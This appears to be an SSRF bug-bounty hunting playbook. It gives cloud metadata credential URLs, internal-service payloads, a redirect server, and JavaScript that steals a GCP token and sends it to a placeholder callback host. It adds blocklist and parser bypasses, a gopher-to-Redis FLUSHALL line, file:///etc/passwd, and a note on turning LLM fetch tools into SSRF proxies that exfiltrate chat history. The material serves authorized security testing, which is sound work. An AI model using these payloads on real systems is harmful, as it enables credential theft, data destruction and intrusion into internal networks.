SSRF Hunter

SSRF is highest-value when the target runs on cloud infrastructure (AWS, GCP, Azure) where metadata services expose credentials, or when the server sits inside a complex internal network (Kubernetes clusters, microservice meshes, internal APIs). Priority targets:

• Cloud-hosted SaaS products (GCP metadata at 169.254.169.254 or metadata.google.internal, AWS IMDSv1)
• Kubernetes/orchestration platforms — aggregated API servers, metrics-server, kubelet endpoints expose privileged cluster operations
• Internal developer tooling — CI/CD, workflow orchestration (Flyte, Argo), admin panels not exposed externally
• Link preview / URL fetching features — Reddit-style preview APIs, Slack-style unfurling, media processors
• Dataset/file import pipelines — anything that fetches remote URLs on behalf of a user
• Enterprise self-hosted software (GitHub Enterprise, GitLab) — SSRF frequently chains to RCE via internal services

Claims of blind SSRF require an out-of-band (OOB) confirmation. Always. No exceptions.

OOB means: a Burp Collaborator domain, an interactsh-client listener, a canarytoken, or any DNS+HTTP receiver you control that confirms the server actually made an outbound network connection on your behalf.

What is NOT confirmation of SSRF

• The server echoing your URL back in an error message. Example: "The Web application at http://evil.example.com/x could not be found" — this is the server formatting your input into an error string, NOT making an outbound HTTP request. The error came from string formatting, not from network failure.
• The server returning a different status code for an external URL vs localhost. Different error responses can come from URL-scheme validators, not from actual fetching.
• A delayed response when the URL is sent. Delay can come from DNS resolution attempts within the parser, not from completed HTTP fetches.

What IS confirmation of SSRF

• A DNS lookup for your unique Collaborator subdomain appears in the OOB listener.
• An HTTP request to your Collaborator HTTP endpoint with the server's source IP and User-Agent.
• For SSRF in JavaScript-execution contexts (PDF renderers, headless browsers), a fetch from the server to your callback URL.

Default workflow

• Plant the Collaborator subdomain first (sub-tag it per sink: dlsrcurl.<collab>, import.<collab>, etc., so callbacks tell you which sink fired).
• Send the request to the target endpoint.
• Wait 30–120 seconds, then poll the OOB listener.
• Only after a confirmed callback do you claim SSRF.
• If zero callbacks across all sub-tagged sinks: SSRF claims must be retracted, even if error messages echo URLs.

URL Patterns to Hunt

/api/*/preview
/api/*/fetch
/api/*/import
/api/*/webhook
/api/*/proxy
/api/*/render
/api/*/link
/api/*/screenshot
/api/*/export
/api/*/validate
?url=
?uri=
?endpoint=
?redirect=
?src=
?source=
?feed=
?host=
?target=
?dest=
?file=
?path=
?callback=
?image=
?load=
?fetch=

JS Patterns (in client-side code)

// Look for these in JS bundles
fetch(userInput)
axios.get(params.url)
XMLHttpRequest + variable URL
url: req.body.url
src: params.source
href: query.endpoint

Response Header Signals

X-Forwarded-For headers echoed back
Server: internal-service
Via: 1.1 internal-proxy
X-Cache headers revealing internal hostnames

Tech Stack Signals

• Kubernetes — any public-facing aggregated API, metrics endpoints
• GCP — any service fetching URLs that runs on Compute Engine/GKE
• Node.js/Python with URL-fetching libraries (requests, node-fetch, axios)
• Headless browsers (Puppeteer, PhantomJS) used for screenshots/PDF — extremely high value
• XML/DSPL/CSV import features — XXE-style SSRF vector
• OAuth/webhook registration endpoints

• Map all URL-input parameters across the target: spider JS files for fetch calls, check all API docs, look for file-import, link-preview, webhook, image-proxy, and redirect features.

• Set up an out-of-band detection server using Burp Collaborator, interactsh, or https://canarytokens.org — you need a unique per-test DNS/HTTP callback domain.

• Send your callback URL as the parameter value first (blind SSRF check before anything else):

   url=https://YOUR.interactsh.com/test

• Test internal cloud metadata endpoints:

• Test localhost and common internal ports:

   http://localhost/
   http://127.0.0.1:8080/
   http://127.0.0.1:6443/  (Kubernetes API)
   http://127.0.0.1:2379/  (etcd)
   http://127.0.0.1:9090/  (Prometheus)
   http://127.0.0.1:9200/  (Elasticsearch)

• Check for redirect-based SSRF — if the endpoint validates the initial URL but follows 30x redirects, host a redirect server pointing to internal addresses. Kubernetes report (Report 3) was specifically triggered by hijacked API servers returning 30x responses.

• Test JavaScript-execution contexts (headless browsers, PDF renderers):

• Enumerate the internal network using timing differences and error message variations:

• Chain findings — if you have SSRF to internal services, look for:

• Document the full chain with screenshots of each hop before reporting.

Basic Out-of-Band Detection

# Using interactsh-client
interactsh-client -v
# Test parameter curl -s "https://target.com/api/preview?url=https://YOUR_ID.oast.pro"
# With common headers that might unlock SSRF curl -s "https://target.com/api/fetch" \   -H "Content-Type: application/json" \   -d '{"url":"https://YOUR_ID.oast.pro"}'

Cloud Metadata Payloads

# GCP - requires Metadata-Flavor header (test if server adds it automatically)
http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token
http://169.254.169.254/computeMetadata/v1/project/project-id
# AWS IMDSv1 (no auth required) http://169.254.169.254/latest/meta-data/iam/security-credentials/ http://169.254.169.254/latest/user-data
# Azure http://169.254.169.254/metadata/instance?api-version=2021-02-01

Localhost/Internal Port Payloads

# Kubernetes internals
http://127.0.0.1:6443/api/v1/namespaces
http://10.0.0.1:6443/api/v1/secrets
http://127.0.0.1:10250/pods          # kubelet
http://127.0.0.1:2379/v2/keys        # etcd
# Common internal services http://127.0.0.1:6379/               # Redis (check for inline commands) http://127.0.0.1:9200/_cat/indices   # Elasticsearch http://127.0.0.1:5601/               # Kibana http://127.0.0.1:8500/v1/catalog/services  # Consul

Redirect-Based SSRF (when direct is blocked)

# Simple Python redirect server
from http.server import HTTPServer, BaseHTTPRequestHandler
class Redirect(BaseHTTPRequestHandler):     def do_GET(self):         self.send_response(301)         self.send_header('Location', 'http://169.254.169.254/latest/meta-data/')         self.end_headers()
HTTPServer(('0.0.0.0', 8080), Redirect).serve_forever()

JavaScript-Based SSRF (headless browser contexts)

// Exfil via fetch
fetch('http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token', {
  headers: {'Metadata-Flavor': 'Google'}
}).then(r=>r.text()).then(d=>{
  fetch('https://YOUR.callback.com/?d='+btoa(d))
})
// DNS exfil for blind contexts var x = new XMLHttpRequest(); x.open('GET','http://169.254.169.254/latest/meta-data/'); x.send(); x.onload = function(){   var img = new Image();   img.src = 'https://'+btoa(x.responseText.substring(0,50))+'.YOUR.callback.com'; }

Grep Patterns for Source Code Review

# Find URL fetch operations
grep -rE "(fetch|curl|urllib|requests\.get|http\.get|axios\.get)\s*\(" --include="*.py" --include="*.js" --include="*.go"
# Find URL parameters being passed to HTTP clients grep -rE "(url|uri|endpoint|redirect|src|source)\s*=\s*req\.(query|body|params)" --include="*.js"
# Find redirect following grep -rE "(follow_redirects|allow_redirects|followRedirects)\s*=\s*[Tt]rue"

ffuf Parameter Discovery

ffuf -w /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt \
  -u "https://target.com/api/endpoint?FUZZ=https://YOUR.callback.com" \
  -fs 0 -mc all

• "The user said it was safe" — Developers trust user-supplied URLs for fetching remote resources (link previews, thumbnails, webhooks) without validating the destination. The feature is legitimate; the missing validation is the bug.

• Allowlist bypass via redirects — Developers validate the initial URL against an allowlist but configure HTTP clients to follow redirects automatically. An attacker's server on the allowlist redirects to an internal address.

• Aggregated/proxy API trust — Kubernetes-style architectures where an API aggregation layer blindly proxies 30x responses from registered extension servers. Compromising a single extension server gives SSRF into the core API.

• Server-side rendering without sandboxing — Headless browser features (PDF generation, link preview screenshots) execute attacker-controlled JavaScript in a network-privileged context with access to metadata services.

• XML/DSPL/file parsers fetching external entities — Import features that parse structured files (XML, DSPL, CSV with remote schemas) fetch attacker-controlled URLs, often with no URL validation at all.

• Internal hostname leakage via response differences — Services return different error messages, timing, or response sizes for internal vs. external hosts, enabling blind enumeration even when content isn't returned.

• IMDSv1 still enabled — Cloud deployments that haven't migrated to IMDSv2 (AWS) or haven't required the Metadata-Flavor header (GCP) allow unauthenticated credential access from any SSRF.

Blocklist Bypasses (When localhost, 127.0.0.1, 169.254.x.x are blocked)

# IPv6 equivalents
http://[::1]/
http://[::ffff:127.0.0.1]/
http://[::ffff:169.254.169.254]/
# Decimal/octal/hex encoding of IP http://2130706433/          (127.0.0.1 decimal) http://0x7f000001/          (127.0.0.1 hex) http://0177.0.0.1/          (octal) http://127.1/               (short form) http://0/                   (resolves to 0.0.0.0)
# DNS rebinding - register a domain that resolves to internal IP after first check # Use https://lock.cmpxchg8b.com/rebinder.html
# Subdomain pointing to internal IP http://localtest.me/         (resolves to 127.0.0.1) http://127.0.0.1.nip.io/ http://customer.attacker.com/ (A record → 192.168.1.1)
# URL parser confusion http://evil.com@127.0.0.1/ http://127.0.0.1#evil.com http://127.0.0.1%25@evil.com  (URL encoding) http://evil.com\.127.0.0.1/   (backslash)
# Protocol confusion file:///etc/passwd dict://127.0.0.1:6379/ gopher://127.0.0.1:6379/_FLUSHALL  (Redis via gopher) sftp://attacker.com:11111/ ldap://127.0.0.1/
# Redirect chain bypass https://allowlisted-domain.com → HTTP 301 → http://169.254.169.254/
# Case variation / URL encoding http://Localhost/ http://127.0.0.1%2F@evil.com/

Schema/Protocol Bypasses

# When only http/https allowed but implementation is loose
http://169.254.169.254:80@evil.com/
//169.254.169.254/

TOCTOU (Time-of-Check vs Time-of-Use)

• Validate URL → sleep → redirect to internal (race condition with DNS rebinding)
• Register a domain with 0-TTL, rotate DNS between validation and fetch calls

When Response is Not Returned (Blind SSRF)

• Use DNS-only callbacks (data encoded in subdomain labels)
• Use timing differences for port scanning
• Use different HTTP methods (PUT/DELETE) to trigger distinct behaviors on internal services
• Chain with other bugs that leak response data (e.g., error messages, logs)

Before writing the report, confirm all three:

• What can the attacker DO right now?

• What does the victim LOSE?

• Can it be reproduced in 10 minutes from scratch?

Scenario A: Cloud Credential Exfiltration via Link Preview (Snapchat/GCP Pattern)

Scenario B: Kubernetes API Compromise via Hijacked Aggregated Server (Kubernetes Pattern)

The following real, verified bug-bounty / coordinated-disclosure cases extend this skill. Cloud-metadata SSRFs across all three providers, DNS rebinding, gopher-to-Redis-RCE, link-preview SSRF, and headless-browser/PDF-generator chains are all represented.

• HackerOne — SSRF in Analytics Reports (PDF generator → AWS metadata) ([H1 #2262382](https://hackerone.com/reports/2262382) · [Writeup](https://osintteam.blog/25-000-ssrf-in-hackerones-analytics-reports-b9a5b3aa3d6e))

• Shopify Exchange — SSRF in screenshot service → GCP metadata → container root ([H1 #341876](https://hackerone.com/reports/341876))

• Concrete CMS — SSRF mitigation bypass via DNS rebinding → AWS IAM keys ([H1 #1369312](https://hackerone.com/reports/1369312))

• Yahoo Mail — Blind SSRF → Gopher → Redis RCE ([Writeup](https://sirleeroyjenkins.medium.com/just-gopher-it-escalating-a-blind-ssrf-to-rce-for-15k-f5329a974530))

• Reddit Matrix — Blind SSRF in preview_url API ([H1 #1960765](https://hackerone.com/reports/1960765))

• Azure DevOps — SSRF in Service Hooks + DNS rebinding bypass in endpointproxy ([Binary Security writeup](https://www.binarysecurity.no/posts/2025/01/finding-ssrfs-in-devops))

• cloud-iam-deep — SSRF is the canonical entry to cloud metadata service. Chain primitive: SSRF → IMDSv1 token theft → cloud-iam-deep privilege escalation reaches iam:CreateUser / sts:AssumeRole on cross-account roles.
• hunt-llm-ai — LLMs with fetch_url tools become SSRF proxies bypassing network egress controls. Chain primitive: LLM tool-use (fetch_url) + SSRF → attacker URL exfils chat history and IMDS token from the LLM container.
• hunt-rce — Internal Redis/Memcached are unauthenticated by default and reachable via gopher://. Chain primitive: SSRF + Gopher → internal Redis CONFIG SET dir + RCE via cron / SSH authorized_keys write.
• hunt-cloud-misconfig — Internal-only buckets/APIs become reachable through SSRF egress. Chain primitive: SSRF + DNS rebinding → SSRF-protected-endpoint bypass → internal /admin or private S3 bucket read.
• security-arsenal — Load the SSRF IP Bypass Table (11 techniques: decimal IP, IPv6 mapped, octal, suffix dot, DNS rebinding, redirect chain, etc.) before testing filters.
• triage-validation — Apply the OOB-Or-It-Didn't-Happen gate: every blind SSRF claim requires a Burp Collaborator hit with a unique marker before report submission.